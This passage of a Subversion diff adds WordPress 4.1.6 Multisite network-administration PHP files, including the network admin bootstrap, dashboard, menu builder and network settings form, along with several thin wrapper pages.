+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+require( ABSPATH . 'wp-admin/about.php' );
Index: /tags/4.1.6/src/wp-admin/network/admin.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/admin.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/admin.php	(revision 33402)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * WordPress Network Administration Bootstrap
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+define( 'WP_NETWORK_ADMIN', true );
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( dirname( __FILE__ ) ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+$redirect_network_admin_request = 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path );
+
+/**
+ * Filter whether to redirect the request to the Network Admin.
+ *
+ * @since 3.2.0
+ *
+ * @param bool $redirect_network_admin_request Whether the request should be redirected.
+ */
+$redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request );
+if ( $redirect_network_admin_request ) {
+	wp_redirect( network_admin_url() );
+	exit;
+}
+unset( $redirect_network_admin_request );
Index: /tags/4.1.6/src/wp-admin/network/credits.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/credits.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/credits.php	(revision 33402)
@@ -0,0 +1,16 @@
+<?php
+/**
+ * Network Credits administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.4.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+require( ABSPATH . 'wp-admin/credits.php' );
Index: /tags/4.1.6/src/wp-admin/network/edit.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/edit.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/edit.php	(revision 33402)
@@ -0,0 +1,42 @@
+<?php
+/**
+ * Action handler for Multisite administration panels.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+if ( empty( $_GET['action'] ) ) {
+	wp_redirect( network_admin_url() );
+	exit;
+}
+
+/**
+ * Fires just before the action handler in several Network Admin screens.
+ *
+ * This hook fires on multiple screens in the Multisite Network Admin,
+ * including Users, Network Settings, and Site Settings.
+ *
+ * @since 3.0.0
+ */
+do_action( 'wpmuadminedit' );
+
+/**
+ * Fires the requested handler action.
+ *
+ * The dynamic portion of the hook name, `$_GET['action']`, refers to the name
+ * of the requested action.
+ *
+ * @since 3.1.0
+ */
+do_action( 'network_admin_edit_' . $_GET['action'] );
+
+wp_redirect( network_admin_url() );
+exit();
Index: /tags/4.1.6/src/wp-admin/network/freedoms.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/freedoms.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/freedoms.php	(revision 33402)
@@ -0,0 +1,16 @@
+<?php
+/**
+ * Network Freedoms administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.4.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+require( ABSPATH . 'wp-admin/freedoms.php' );
Index: /tags/4.1.6/src/wp-admin/network/index.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/index.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/index.php	(revision 33402)
@@ -0,0 +1,79 @@
+<?php
+/**
+ * Multisite administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+/** Load WordPress dashboard API */
+require_once( ABSPATH . 'wp-admin/includes/dashboard.php' );
+
+if ( !is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+if ( ! current_user_can( 'manage_network' ) )
+	wp_die( __( 'You do not have permission to access this page.' ) );
+
+$title = __( 'Dashboard' );
+$parent_file = 'index.php';
+
+$overview = '<p>' . __( 'Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network.' ) . '</p>';
+$overview .= '<p>' . __( 'From here you can:' ) . '</p>';
+$overview .= '<ul><li>' . __( 'Add and manage sites or users' ) . '</li>';
+$overview .= '<li>' . __( 'Install and activate themes or plugins' ) . '</li>';
+$overview .= '<li>' . __( 'Update your network' ) . '</li>';
+$overview .= '<li>' . __( 'Modify global network settings' ) . '</li></ul>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __( 'Overview' ),
+	'content' => $overview
+) );
+
+$quick_tasks = '<p>' . __( 'The Right Now widget on this screen provides current user and site counts on your network.' ) . '</p>';
+$quick_tasks .= '<ul><li>' . __( 'To add a new user, <strong>click Create a New User</strong>.' ) . '</li>';
+$quick_tasks .= '<li>' . __( 'To add a new site, <strong>click Create a New Site</strong>.' ) . '</li></ul>';
+$quick_tasks .= '<p>' . __( 'To search for a user or site, use the search boxes.' ) . '</p>';
+$quick_tasks .= '<ul><li>' . __( 'To search for a user, <strong>enter an email address or username</strong>. Use a wildcard to search for a partial username, such as user&#42;.' ) . '</li>';
+$quick_tasks .= '<li>' . __( 'To search for a site, <strong>enter the path or domain</strong>.' ) . '</li></ul>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'quick-tasks',
+	'title'   => __( 'Quick Tasks' ),
+	'content' => $quick_tasks
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Network_Admin" target="_blank">Documentation on the Network Admin</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/forum/multisite/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+wp_dashboard_setup();
+
+wp_enqueue_script( 'dashboard' );
+wp_enqueue_script( 'plugin-install' );
+add_thickbox();
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+?>
+
+<div class="wrap">
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<div id="dashboard-widgets-wrap">
+
+<?php wp_dashboard(); ?>
+
+<div class="clear"></div>
+</div><!-- dashboard-widgets-wrap -->
+
+</div><!-- wrap -->
+
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/4.1.6/src/wp-admin/network/menu.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/menu.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/menu.php	(revision 33402)
@@ -0,0 +1,63 @@
+<?php
+/**
+ * Build Network Administration Menu.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/* translators: Network menu item */
+$menu[2] = array(__('Dashboard'), 'manage_network', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard');
+
+$menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' );
+
+/* translators: Sites menu item */
+$menu[5] = array(__('Sites'), 'manage_sites', 'sites.php', '', 'menu-top menu-icon-site', 'menu-site', 'dashicons-admin-network');
+$submenu['sites.php'][5]  = array( __('All Sites'), 'manage_sites', 'sites.php' );
+$submenu['sites.php'][10]  = array( _x('Add New', 'site'), 'create_sites', 'site-new.php' );
+
+$menu[10] = array(__('Users'), 'manage_network_users', 'users.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users');
+$submenu['users.php'][5]  = array( __('All Users'), 'manage_network_users', 'users.php' );
+$submenu['users.php'][10]  = array( _x('Add New', 'user'), 'create_users', 'user-new.php' );
+
+$update_data = wp_get_update_data();
+
+if ( current_user_can( 'update_themes' ) && $update_data['counts']['themes'] ) {
+	$menu[15] = array(sprintf( __( 'Themes %s' ), "<span class='update-plugins count-{$update_data['counts']['themes']}'><span class='theme-count'>" . number_format_i18n( $update_data['counts']['themes'] ) . "</span></span>" ), 'manage_network_themes', 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' );
+} else {
+	$menu[15] = array( __( 'Themes' ), 'manage_network_themes', 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' );
+}
+$submenu['themes.php'][5]  = array( __('Installed Themes'), 'manage_network_themes', 'themes.php' );
+$submenu['themes.php'][10] = array( _x('Add New', 'theme'), 'install_themes', 'theme-install.php' );
+$submenu['themes.php'][15] = array( _x('Editor', 'theme editor'), 'edit_themes', 'theme-editor.php' );
+
+if ( current_user_can( 'update_plugins' ) && $update_data['counts']['plugins'] ) {
+	$menu[20] = array( sprintf( __( 'Plugins %s' ), "<span class='update-plugins count-{$update_data['counts']['plugins']}'><span class='plugin-count'>" . number_format_i18n( $update_data['counts']['plugins'] ) . "</span></span>" ), 'manage_network_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins');
+} else {
+	$menu[20] = array( __('Plugins'), 'manage_network_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins' );
+}
+$submenu['plugins.php'][5]  = array( __('Installed Plugins'), 'manage_network_plugins', 'plugins.php' );
+$submenu['plugins.php'][10] = array( _x('Add New', 'plugin'), 'install_plugins', 'plugin-install.php' );
+$submenu['plugins.php'][15] = array( _x('Editor', 'plugin editor'), 'edit_plugins', 'plugin-editor.php' );
+
+$menu[25] = array(__('Settings'), 'manage_network_options', 'settings.php', '', 'menu-top menu-icon-settings', 'menu-settings', 'dashicons-admin-settings');
+if ( defined( 'MULTISITE' ) && defined( 'WP_ALLOW_MULTISITE' ) && WP_ALLOW_MULTISITE ) {
+	$submenu['settings.php'][5]  = array( __('Network Settings'), 'manage_network_options', 'settings.php' );
+	$submenu['settings.php'][10] = array( __('Network Setup'), 'manage_network_options', 'setup.php' );
+}
+
+if ( $update_data['counts']['total'] ) {
+	$menu[30] = array( sprintf( __( 'Updates %s' ), "<span class='update-plugins count-{$update_data['counts']['total']}' title='{$update_data['title']}'><span class='update-count'>" . number_format_i18n($update_data['counts']['total']) . "</span></span>" ), 'manage_network', 'upgrade.php', '', 'menu-top menu-icon-tools', 'menu-update', 'dashicons-admin-tools' );
+} else {
+	$menu[30] = array( __( 'Updates' ), 'manage_network', 'upgrade.php', '', 'menu-top menu-icon-tools', 'menu-update', 'dashicons-admin-tools' );
+}
+
+unset($update_data);
+
+$submenu[ 'upgrade.php' ][10] = array( __( 'Available Updates' ), 'update_core', 'update-core.php' );
+$submenu[ 'upgrade.php' ][15] = array( __( 'Upgrade Network' ), 'manage_network', 'upgrade.php' );
+
+$menu[99] = array( '', 'exist', 'separator-last', '', 'wp-menu-separator' );
+
+require_once(ABSPATH . 'wp-admin/includes/menu.php');
Index: /tags/4.1.6/src/wp-admin/network/plugin-editor.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/plugin-editor.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/plugin-editor.php	(revision 33402)
@@ -0,0 +1,16 @@
+<?php
+/**
+ * Plugin editor network administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+require( ABSPATH . 'wp-admin/plugin-editor.php' );
Index: /tags/4.1.6/src/wp-admin/network/plugin-install.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/plugin-install.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/plugin-install.php	(revision 33402)
@@ -0,0 +1,19 @@
+<?php
+/**
+ * Install plugin network administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+if ( isset( $_GET['tab'] ) && ( 'plugin-information' == $_GET['tab'] ) )
+	define( 'IFRAME_REQUEST', true );
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+require( ABSPATH . 'wp-admin/plugin-install.php' );
Index: /tags/4.1.6/src/wp-admin/network/plugins.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/plugins.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/plugins.php	(revision 33402)
@@ -0,0 +1,16 @@
+<?php
+/**
+ * Network Plugins administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+require( ABSPATH . 'wp-admin/plugins.php' );
Index: /tags/4.1.6/src/wp-admin/network/profile.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/profile.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/profile.php	(revision 33402)
@@ -0,0 +1,16 @@
+<?php
+/**
+ * User profile network administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+require( ABSPATH . 'wp-admin/profile.php' );
Index: /tags/4.1.6/src/wp-admin/network/settings.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/settings.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/settings.php	(revision 33402)
@@ -0,0 +1,385 @@
+<?php
+/**
+ * Multisite network settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+/** WordPress Translation Install API */
+require_once( ABSPATH . 'wp-admin/includes/translation-install.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+if ( ! current_user_can( 'manage_network_options' ) )
+	wp_die( __( 'You do not have permission to access this page.' ) );
+
+$title = __( 'Network Settings' );
+$parent_file = 'settings.php';
+
+/**
+ * Print JavaScript in the header on the Network Settings screen.
+ *
+ * @since 4.1.0
+*/
+function network_settings_add_js() {
+?>
+<script type="text/javascript">
+jQuery(document).ready( function($) {
+	var languageSelect = $( '#WPLANG' );
+	$( 'form' ).submit( function() {
+		// Don't show a spinner for English and installed languages,
+		// as there is nothing to download.
+		if ( ! languageSelect.find( 'option:selected' ).data( 'installed' ) ) {
+			$( '#submit', this ).after( '<span class="spinner language-install-spinner" />' );
+		}
+	});
+});
+</script>
+<?php
+}
+add_action( 'admin_head', 'network_settings_add_js' );
+
+get_current_screen()->add_help_tab( array(
+		'id'      => 'overview',
+		'title'   => __('Overview'),
+		'content' =>
+			'<p>' . __('This screen sets and changes options for the network as a whole. The first site is the main site in the network and network options are pulled from that original site&#8217;s options.') . '</p>' .
+			'<p>' . __('Operational settings has fields for the network&#8217;s name and admin email.') . '</p>' .
+			'<p>' . __('Registration settings can disable/enable public signups. If you let others sign up for a site, install spam plugins. Spaces, not commas, should separate names banned as sites for this network.') . '</p>' .
+			'<p>' . __('New site settings are defaults applied when a new site is created in the network. These include welcome email for when a new site or user account is registered, and what&#8127;s put in the first post, page, comment, comment author, and comment URL.') . '</p>' .
+			'<p>' . __('Upload settings control the size of the uploaded files and the amount of available upload space for each site. You can change the default value for specific sites when you edit a particular site. Allowed file types are also listed (space separated only).') . '</p>' .
+			'<p>' . __( 'You can set the language, and the translation files will be automatically downloaded and installed (available if your filesystem is writable).' ) . '</p>' .
+			'<p>' . __('Menu setting enables/disables the plugin menus from appearing for non super admins, so that only super admins, not site admins, have access to activate plugins.') . '</p>' .
+			'<p>' . __('Super admins can no longer be added on the Options screen. You must now go to the list of existing users on Network Admin > Users and click on Username or the Edit action link below that name. This goes to an Edit User page where you can check a box to grant super admin privileges.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Network_Admin_Settings_Screen" target="_blank">Documentation on Network Settings</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+if ( $_POST ) {
+	/** This action is documented in wp-admin/network/edit.php */
+	do_action( 'wpmuadminedit' );
+
+	check_admin_referer( 'siteoptions' );
+
+	$checked_options = array( 'menu_items' => array(), 'registrationnotification' => 'no', 'upload_space_check_disabled' => 1, 'add_new_users' => 0 );
+	foreach ( $checked_options as $option_name => $option_unchecked_value ) {
+		if ( ! isset( $_POST[$option_name] ) )
+			$_POST[$option_name] = $option_unchecked_value;
+	}
+
+	$options = array(
+		'registrationnotification', 'registration', 'add_new_users', 'menu_items',
+		'upload_space_check_disabled', 'blog_upload_space', 'upload_filetypes', 'site_name',
+		'first_post', 'first_page', 'first_comment', 'first_comment_url', 'first_comment_author',
+		'welcome_email', 'welcome_user_email', 'fileupload_maxk', 'global_terms_enabled',
+		'illegal_names', 'limited_email_domains', 'banned_email_domains', 'WPLANG', 'admin_email',
+	);
+
+	// Handle translation install.
+	if ( ! empty( $_POST['WPLANG'] ) && wp_can_install_language_pack() ) {  // @todo: Skip if already installed
+		$language = wp_download_language_pack( $_POST['WPLANG'] );
+		if ( $language ) {
+			$_POST['WPLANG'] = $language;
+		}
+	}
+
+	foreach ( $options as $option_name ) {
+		if ( ! isset($_POST[$option_name]) )
+			continue;
+		$value = wp_unslash( $_POST[$option_name] );
+		update_site_option( $option_name, $value );
+	}
+
+	/**
+	 * Fires after the network options are updated.
+	 *
+	 * @since MU
+	 */
+	do_action( 'update_wpmu_options' );
+
+	wp_redirect( add_query_arg( 'updated', 'true', network_admin_url( 'settings.php' ) ) );
+	exit();
+}
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+
+if ( isset( $_GET['updated'] ) ) {
+	?><div id="message" class="updated"><p><?php _e( 'Options saved.' ) ?></p></div><?php
+}
+?>
+
+<div class="wrap">
+	<h2><?php echo esc_html( $title ); ?></h2>
+	<form method="post" action="settings.php" novalidate="novalidate">
+		<?php wp_nonce_field( 'siteoptions' ); ?>
+		<h3><?php _e( 'Operational Settings' ); ?></h3>
+		<table class="form-table">
+			<tr>
+				<th scope="row"><label for="site_name"><?php _e( 'Network Title' ) ?></label></th>
+				<td>
+					<input name="site_name" type="text" id="site_name" class="regular-text" value="<?php echo esc_attr( $current_site->site_name ) ?>" />
+				</td>
+			</tr>
+
+			<tr>
+				<th scope="row"><label for="admin_email"><?php _e( 'Network Admin Email' ) ?></label></th>
+				<td>
+					<input name="admin_email" type="email" id="admin_email" class="regular-text" value="<?php echo esc_attr( get_site_option( 'admin_email' ) ) ?>" />
+					<p class="description">
+						<?php _e( 'This email address will receive notifications. Registration and support emails will also come from this address.' ); ?>
+					</p>
+				</td>
+			</tr>
+		</table>
+		<h3><?php _e( 'Registration Settings' ); ?></h3>
+		<table class="form-table">
+			<tr>
+				<th scope="row"><?php _e( 'Allow new registrations' ) ?></th>
+				<?php
+				if ( !get_site_option( 'registration' ) )
+					update_site_option( 'registration', 'none' );
+				$reg = get_site_option( 'registration' );
+				?>
+				<td>
+					<label><input name="registration" type="radio" id="registration1" value="none"<?php checked( $reg, 'none') ?> /> <?php _e( 'Registration is disabled.' ); ?></label><br />
+					<label><input name="registration" type="radio" id="registration2" value="user"<?php checked( $reg, 'user') ?> /> <?php _e( 'User accounts may be registered.' ); ?></label><br />
+					<label><input name="registration" type="radio" id="registration3" value="blog"<?php checked( $reg, 'blog') ?> /> <?php _e( 'Logged in users may register new sites.' ); ?></label><br />
+					<label><input name="registration" type="radio" id="registration4" value="all"<?php checked( $reg, 'all') ?> /> <?php _e( 'Both sites and user accounts can be registered.' ); ?></label>
+					<p class="description">
+						<?php if ( is_subdomain_install() )
+						_e( 'If registration is disabled, please set <code>NOBLOGREDIRECT</code> in <code>wp-config.php</code> to a URL you will redirect visitors to if they visit a non-existent site.' );
+					?>
+					</p>
+				</td>
+			</tr>
+
+			<tr>
+				<th scope="row"><?php _e( 'Registration notification' ) ?></th>
+				<?php
+				if ( !get_site_option( 'registrationnotification' ) )
+					update_site_option( 'registrationnotification', 'yes' );
+				?>
+				<td>
+					<label><input name="registrationnotification" type="checkbox" id="registrationnotification" value="yes"<?php checked( get_site_option( 'registrationnotification' ), 'yes' ) ?> /> <?php _e( 'Send the network admin an email notification every time someone registers a site or user account.' ) ?></label>
+				</td>
+			</tr>
+
+			<tr id="addnewusers">
+				<th scope="row"><?php _e( 'Add New Users' ) ?></th>
+				<td>
+					<label><input name="add_new_users" type="checkbox" id="add_new_users" value="1"<?php checked( get_site_option( 'add_new_users' ) ) ?> /> <?php _e( 'Allow site administrators to add new users to their site via the "Users &rarr; Add New" page.' ); ?></label>
+				</td>
+			</tr>
+
+			<tr>
+				<th scope="row"><label for="illegal_names"><?php _e( 'Banned Names' ) ?></label></th>
+				<td>
+					<input name="illegal_names" type="text" id="illegal_names" class="large-text" value="<?php echo esc_attr( implode( " ", (array) get_site_option( 'illegal_names' ) ) ); ?>" size="45" />
+					<p class="description">
+						<?php _e( 'Users are not allowed to register these sites. Separate names by spaces.' ) ?>
+					</p>
+				</td>
+			</tr>
+
+			<tr>
+				<th scope="row"><label for="limited_email_domains"><?php _e( 'Limited Email Registrations' ) ?></label></th>
+				<td>
+					<?php $limited_email_domains = get_site_option( 'limited_email_domains' );
+					$limited_email_domains = str_replace( ' ', "\n", $limited_email_domains ); ?>
+					<textarea name="limited_email_domains" id="limited_email_domains" cols="45" rows="5">
+<?php echo esc_textarea( $limited_email_domains == '' ? '' : implode( "\n", (array) $limited_email_domains ) ); ?></textarea>
+					<p class="description">
+						<?php _e( 'If you want to limit site registrations to certain domains. One domain per line.' ) ?>
+					</p>
+				</td>
+			</tr>
+
+			<tr>
+				<th scope="row"><label for="banned_email_domains"><?php _e('Banned Email Domains') ?></label></th>
+				<td>
+					<textarea name="banned_email_domains" id="banned_email_domains" cols="45" rows="5">
+<?php echo esc_textarea( get_site_option( 'banned_email_domains' ) == '' ? '' : implode( "\n", (array) get_site_option( 'banned_email_domains' ) ) ); ?></textarea>
+					<p class="description">
+						<?php _e( 'If you want to ban domains from site registrations. One domain per line.' ) ?>
+					</p>
+				</td>
+			</tr>
+
+		</table>
+		<h3><?php _e('New Site Settings'); ?></h3>
+		<table class="form-table">
+
+			<tr>
+				<th scope="row"><label for="welcome_email"><?php _e( 'Welcome Email' ) ?></label></th>
+				<td>
+					<textarea name="welcome_email" id="welcome_email" rows="5" cols="45" class="large-text">
+<?php echo esc_textarea( get_site_option( 'welcome_email' ) ) ?></textarea>
+					<p class="description">
+						<?php _e( 'The welcome email sent to new site owners.' ) ?>
+					</p>
+				</td>
+			</tr>
+			<tr>
+				<th scope="row"><label for="welcome_user_email"><?php _e( 'Welcome User Email' ) ?></label></th>
+				<td>
+					<textarea name="welcome_user_email" id="welcome_user_email" rows="5" cols="45" class="large-text">
+<?php echo esc_textarea( get_site_option( 'welcome_user_email' ) ) ?></textarea>
+					<p class="description">
+						<?php _e( 'The welcome email sent to new users.' ) ?>
+					</p>
+				</td>
+			</tr>
+			<tr>
+				<th scope="row"><label for="first_post"><?php _e( 'First Post' ) ?></label></th>
+				<td>
+					<textarea name="first_post" id="first_post" rows="5" cols="45" class="large-text">
+<?php echo esc_textarea( get_site_option( 'first_post' ) ) ?></textarea>
+					<p class="description">
+						<?php _e( 'The first post on a new site.' ) ?>
+					</p>
+				</td>
+			</tr>
+			<tr>
+				<th scope="row"><label for="first_page"><?php _e( 'First Page' ) ?></label></th>
+				<td>
+					<textarea name="first_page" id="first_page" rows="5" cols="45" class="large-text">
+<?php echo esc_textarea( get_site_option( 'first_page' ) ) ?></textarea>
+					<p class="description">
+						<?php _e( 'The first page on a new site.' ) ?>
+					</p>
+				</td>
+			</tr>
+			<tr>
+				<th scope="row"><label for="first_comment"><?php _e( 'First Comment' ) ?></label></th>
+				<td>
+					<textarea name="first_comment" id="first_comment" rows="5" cols="45" class="large-text">
+<?php echo esc_textarea( get_site_option( 'first_comment' ) ) ?></textarea>
+					<p class="description">
+						<?php _e( 'The first comment on a new site.' ) ?>
+					</p>
+				</td>
+			</tr>
+			<tr>
+				<th scope="row"><label for="first_comment_author"><?php _e( 'First Comment Author' ) ?></label></th>
+				<td>
+					<input type="text" size="40" name="first_comment_author" id="first_comment_author" value="<?php echo get_site_option('first_comment_author') ?>" />
+					<p class="description">
+						<?php _e( 'The author of the first comment on a new site.' ) ?>
+					</p>
+				</td>
+			</tr>
+			<tr>
+				<th scope="row"><label for="first_comment_url"><?php _e( 'First Comment URL' ) ?></label></th>
+				<td>
+					<input type="text" size="40" name="first_comment_url" id="first_comment_url" value="<?php echo esc_attr( get_site_option( 'first_comment_url' ) ) ?>" />
+					<p class="description">
+						<?php _e( 'The URL for the first comment on a new site.' ) ?>
+					</p>
+				</td>
+			</tr>
+		</table>
+		<h3><?php _e( 'Upload Settings' ); ?></h3>
+		<table class="form-table">
+			<tr>
+				<th scope="row"><?php _e( 'Site upload space' ) ?></th>
+				<td>
+				<label><input type="checkbox" id="upload_space_check_disabled" name="upload_space_check_disabled" value="0"<?php checked( get_site_option( 'upload_space_check_disabled' ), 0 ) ?>/> <?php printf( __( 'Limit total size of files uploaded to %s MB' ), '</label><label><input name="blog_upload_space" type="number" min="0" style="width: 100px" id="blog_upload_space" value="' . esc_attr( get_site_option('blog_upload_space', 100) ) . '" />' ); ?></label><br />
+				</td>
+			</tr>
+
+			<tr>
+				<th scope="row"><label for="upload_filetypes"><?php _e( 'Upload file types' ) ?></label></th>
+				<td><input name="upload_filetypes" type="text" id="upload_filetypes" class="large-text" value="<?php echo esc_attr( get_site_option( 'upload_filetypes', 'jpg jpeg png gif' ) ) ?>" size="45" /></td>
+			</tr>
+
+			<tr>
+				<th scope="row"><label for="fileupload_maxk"><?php _e( 'Max upload file size' ) ?></label></th>
+				<td><?php printf( _x( '%s KB', 'File size in kilobytes' ), '<input name="fileupload_maxk" type="number" min="0" style="width: 100px" id="fileupload_maxk" value="' . esc_attr( get_site_option( 'fileupload_maxk', 300 ) ) . '" />' ); ?></td>
+			</tr>
+		</table>
+
+		<?php
+		$languages = get_available_languages();
+		$translations = wp_get_available_translations();
+		if ( ! empty( $languages ) || ! empty( $translations ) ) {
+			?>
+			<h3><?php _e( 'Language Settings' ); ?></h3>
+			<table class="form-table">
+				<tr>
+					<th><label for="WPLANG"><?php _e( 'Default Language' ); ?></label></th>
+					<td>
+						<?php
+						$lang = get_site_option( 'WPLANG' );
+						if ( ! in_array( $lang, $languages ) ) {
+							$lang = '';
+						}
+
+						wp_dropdown_languages( array(
+							'name'         => 'WPLANG',
+							'id'           => 'WPLANG',
+							'selected'     => $lang,
+							'languages'    => $languages,
+							'translations' => $translations,
+							'show_available_translations' => wp_can_install_language_pack(),
+						) );
+						?>
+					</td>
+				</tr>
+			</table>
+			<?php
+		}
+		?>
+
+		<h3><?php _e( 'Menu Settings' ); ?></h3>
+		<table id="menu" class="form-table">
+			<tr>
+				<th scope="row"><?php _e( 'Enable administration menus' ); ?></th>
+				<td>
+			<?php
+			$menu_perms = get_site_option( 'menu_items' );
+			/**
+			 * Filter available network-wide administration menu options.
+			 *
+			 * Options returned to this filter are output as individual checkboxes that, when selected,
+			 * enable site administrator access to the specified administration menu in certain contexts.
+			 *
+			 * Adding options for specific menus here hinges on the appropriate checks and capabilities
+			 * being in place in the site dashboard on the other side. For instance, when the single
+			 * default option, 'plugins' is enabled, site administrators are granted access to the Plugins
+			 * screen in their individual sites' dashboards.
+			 *
+			 * @since MU
+			 *
+			 * @param array $admin_menus The menu items available.
+			 */
+			$menu_items = apply_filters( 'mu_menu_items', array( 'plugins' => __( 'Plugins' ) ) );
+			foreach ( (array) $menu_items as $key => $val ) {
+				echo "<label><input type='checkbox' name='menu_items[" . $key . "]' value='1'" . ( isset( $menu_perms[$key] ) ? checked( $menu_perms[$key], '1', false ) : '' ) . " /> " . esc_html( $val ) . "</label><br/>";
+			}
+			?>
+				</td>
+			</tr>
+		</table>
+
+		<?php
+		/**
+		 * Fires at the end of the Network Settings form, before the submit button.
+		 *
+		 * @since MU
+		 */
+		do_action( 'wpmu_options' ); ?>
+		<?php submit_button(); ?>
+	</form>
+</div>
+
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/4.1.6/src/wp-admin/network/setup.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/setup.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/setup.php	(revision 33402)
@@ -0,0 +1,16 @@
+<?php
+/**
+ * Network Setup administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+require( ABSPATH . 'wp-admin/network.php' );
Index: /tags/4.1.6/src/wp-admin/network/site-info.php
===================================================================
